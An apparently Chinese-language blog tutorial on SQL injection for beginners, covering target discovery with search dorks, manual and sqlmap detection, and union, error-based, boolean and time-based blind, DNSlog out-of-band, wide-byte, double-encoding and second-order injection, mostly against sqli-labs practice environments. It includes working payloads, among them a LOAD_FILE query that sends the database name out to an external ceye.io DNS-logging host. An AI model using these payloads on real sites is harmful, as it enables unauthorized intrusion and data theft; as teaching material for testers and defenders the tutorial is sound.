sql注入详解-超详细零基础

SQL注入

寻找SQL注入点

目标搜集

无特定目标
  • inurl:php?id=
有特定目标
  • inurl:php?id= site:target.com
工具爬取
  • spider,对搜索引擎和目标网站的连接进行爬取

注入识别

手工简单识别
  • and 1=1 / and 1=2

  • and ‘1’='1 / and ‘1’='2

  • and 1 like 1 / and 1 like 2

工具识别

sqlmap -m filename (filename中保存检测目标)

sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试)

高级识别

拓展广度和深度

  • sqlmap --level 增加测试级别(1-5),对head中的相关参数也进行测试

  • sqlmap -r filename (file中为网站请求数据)

利用工具提高识别效率

  • burpsuite+sqlmap

  • burpsuite拦截所有浏览器访问提交的数据

  • burpsuite扩展插件,直接调用sqlmap进行测试(插件-SQLiPy Sqlmap Intergration || 也可以自己写插件)

一些Tips:

  • 可以在参数后键入“*”来确定想要测试的参数

  • 可能出现注入的点:新闻、登陆、留言

  • 站在开发的角度去寻找

代码审计
  • 搜索关键代码和函数

  • 梳理业务流程

例子:强网杯WEB"python is the best language"

SQL注入流程

流程导图

在这里插入图片描述

信息搜集

在这里插入图片描述

数据获取

在这里插入图片描述

手工查询
  • 查库

    select schema_name from information_schema.schemata
    
  • 查表

    select table_name from information_schema.tables where table_schema=库名 \ 0x库名 \ database()
    
  • 查列

    select column_name from information_scheme.columns where table_name=表名
    
  • 查数据

    select 列名 from 库名.表名
    
提示
  1. 所有的Sql注入,都是基于查库、表、列语句
  2. 如果数据太多导致无法查询结果
    查询的场景:可利用limit限定返回的数量及位置,依次查询
    回显数据的场景:concat() ,group_concat(),concat_ws()+limit
  3. 在一些场景,想要快速获取数据,需借助工具,如:BurpSuite
提权

在这里插入图片描述

SQL注入分类

UNION联合查询注入

UNION操作符用于合并两个或多个SELECT语句的结果集

注意:

  • UNION内部的SELECT语句必须拥有相同数量的列。

  • 列也必须拥有相似的数据类型。

  • 同时每条SELECT语句中的列的顺序必须相同。

  • 默认情况下,UNION操作符选取不同的值。如果允许重复的值,则使用UNION ALL。

UNION注入应用场景
  • 只有最后一个SELECT子句允许有ORDER BY;
  • 只有最后一个SELECT子句允许有LIMIT;
  • 只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果;
  • 注入点页面有回显;
UNION注入过程

ORDER BY猜出来的列数超过数据库表中的列数,报错并不能返回出数据

  1. ORDER BY 确定列数
  2. 观察页面返回,选取可以显示数据的位置,进行下一步的注入
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据
报错注入

构造payload让信息通过错误提示回显出来

应用场景

查询不回现内容,会打印错误信息

Update、insert等语句,会打印错误信息

方法

凡是能够让错误信息显示的函数(语句),都能实现报错注入,以下列举3种。

  • foor()
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))
//concat:连接字符串功能
//floor:取flout的整数值
//rand:取0~1之间的随机浮点值
//group by:根据一个或多个列对结果集进行分组并有排序功能
  • extractvalue()
select extractvalue(1,concat(0x7e,(select user()),0x7e))
//去掉select也可以
extractvalue(1,concat(0x7e,(user()),0x7e))
  • updatexml()
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
盲注
布尔盲注
原理

构造语句来判断数据库信息的正确性,再通过页面的‘真’和‘假’(状态)来识别我们的判断是否正确。

举个猜单词的例子:“good”,第一位我猜是‘’a‘’,页面返回假,但是我猜‘g’,页面就返回真。然后依次猜后面的字母。

布尔盲注的方法

构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入

序号方法说明
1left()函数left(database(),1)>‘s’ //判断database()的前一位是否大于’s’
database()显示数据库名称,left(a,b)从左侧截取a的前b位
2regexpselect user() regexp ‘^r’ //判断user()的头位置是否为’r’
正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式
3likeselect user() like 'ro%'
与regexp类似,使用like进行匹配
4substr()函数
ascii()函数
ascii(substr((select database()),1,1))≠98
substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将字符转换为ascii值
5ord()函数
mid()函数
ord(mid((select user()),1,1))=114
mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数通ascii,将字符转为ascii值
时间盲注
原理

代码存在SQL注入漏洞,然而页面不会回显数据,也不会回显错误信息;

语句执行后也不知道真假,我们不能通过页面返回的内容来进行判断;

可以构造语句,通过页面响应的市场,来判断信息,这就是时间盲注

时间盲注的方法

构造逻辑语句,通过条件语句进行判断,为真立刻执行,否则延时执行

核心语法真实场景
if(left(user(),1)=‘a’,0,sleep(3))if(ascii(substr(user(),1,1))>115,0,sleep(2))%23
Dnslog盲注

代码存在SQL注入漏洞,然而页面既不会回显数据,也不会显示错误显示;

我们通过布尔或者时间盲注可以获取到内容,但是整个过程效率较低,需要发送很多的请求进行判断,很肯能会出发安全设备的防护;

我们需要一种方式,减少请求 ,直接回显数据,这里可以使用Dnslog实现注入。

Dnslog平台:http://ceye.io

原理

DNS在解析的时候回留下日志 ,通过读取多级域名的解析日志,获取请求信息。

MySql LOAD_FILE函数可以发起请求:

SELECT LOAD_FILE(CONCAT(’\\’,‘test’,’.mysql.6pd3g5.ceye.io\abc’));

Dnslog盲注方法

构造语句,利用load_file()函数发起请求,使用Dnslog接收请求,获取数据

Tips:目标服务器必须是Windows,应为LOAD_FILE函数不能运行在Linux 下。

通过SQL语句查询内容,作为请求的一部分,发送至Dnslog;

只要对这一部分的语句进行构造,就能实现有回显的SQL注入;

值得注意的是,这些数据格式和内容队友限制(:,~,@),需要进行一些处理。

#sqlilabs环境下:
http://127.0.0.1/sqlilabs/Less-1/?id=1' and if((SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.6pd3g5.ceye.io\\abc'))),1,1)--+
#navicat环境下:
SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.6pd3g5.ceye.io\\abc'));
宽字节注入

字符大小为一个字节就为窄字节

字符大小为两个字节就位宽字节

宽字节:GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际为两字节。

防御

使用UTF-8,避免宽字节注入;

  1. ps:不仅在gbk、韩文、日文等等都是宽字节,都有可能存在宽字节注入漏洞
  2. mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);
  3. 可以设置参数,character_set_client=binary,
    例如 r e s u l t = m y s q l q u e r y ( " c h a r a c t e r s e t c l i e n t = b i n a r y " , result=mysql_query("character_set_client=binary", result=mysqlquery("charactersetclient=binary",sql);
原理
输入 	   处理     	编码   	   带入SQL
 '   	 \'      %5c%27 \'   id=1\' and    >>不能注入
 
 //MySQL在使用GBK编码的时候,会认为两个字符为一个函数
 %df    %df\'   %df%5c%27 啊'   id=啊' and  >>可以注入
 两个字符组合,认为是一个汉字
 注:前一个ASCII码大于128才能到汉字的范围
方法

在注入点后键入%df,然后按照正常的流程开始注入

sqlilabs-less-32(测试环境)

注入
手工
//黑盒测试
在可能的注入点后键入%df,之后进行注入测试
//白盒测试
1.查看MySQL编码是否为GBK
2.是否使用preg_replace把单引号替换成\'
3.是否使用addslashes进行转义
4.是否使用mysql_real_escape_string进行转义
sqlmap
//在参数id=1后加%df
python sqlmap.py -u http://localhost/sqlilabs/Less-32/?id=1%df
二次编码注入

为什么要编码?

e.g.

?id=1&username=admin&passwd=admin

假如用户的username中存在&、?就会和URL 冲突

宽字节注入和二次注入都是在面对PHP代码或配置,对输入的’(单引号)进行转义的时候,在处理用户输入数据是存在问题,可绕过转义。

原理

urlencode()与PHP本身编码时,两者配合失误,构造数据消灭\

用户输入	PHP自身编码	   转义 		  带入SQL 
id=1%27      id=1'      id=1\'     id=1\' and  			<<不能注入

用户输入     PHP自身编码   转义     函数编码   带入SQL
id=1%2527   id=1%27    id=1%27    id=1'    id=1' and    <<可以注入
注入
手工
//黑盒测试
在可能的注入点后键入%2527,之后进行注入测试
?id=1%2527
//白盒测试
1.是否使用户urldecode
2.urldecode函数是否在转义的方法之后
sqlmap

python sqlmap.py -u http://localhost/sqlilabs/Less-32/?id=1%2527

二次注入
原理
  1. 插入恶意数据

    第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还保留了原来的数据,但是数据本身包含恶意内容。

  2. 引用恶意数据

    在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

示意图

在这里插入图片描述

练习

sqlilabs-less-24

防御

对外部提交的数据,需要更加谨慎的对待。

程序内部的数据调用,也要更严格的进行检查,一旦不小心,测试者就能将特定的SQL语句带入到查询当中。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值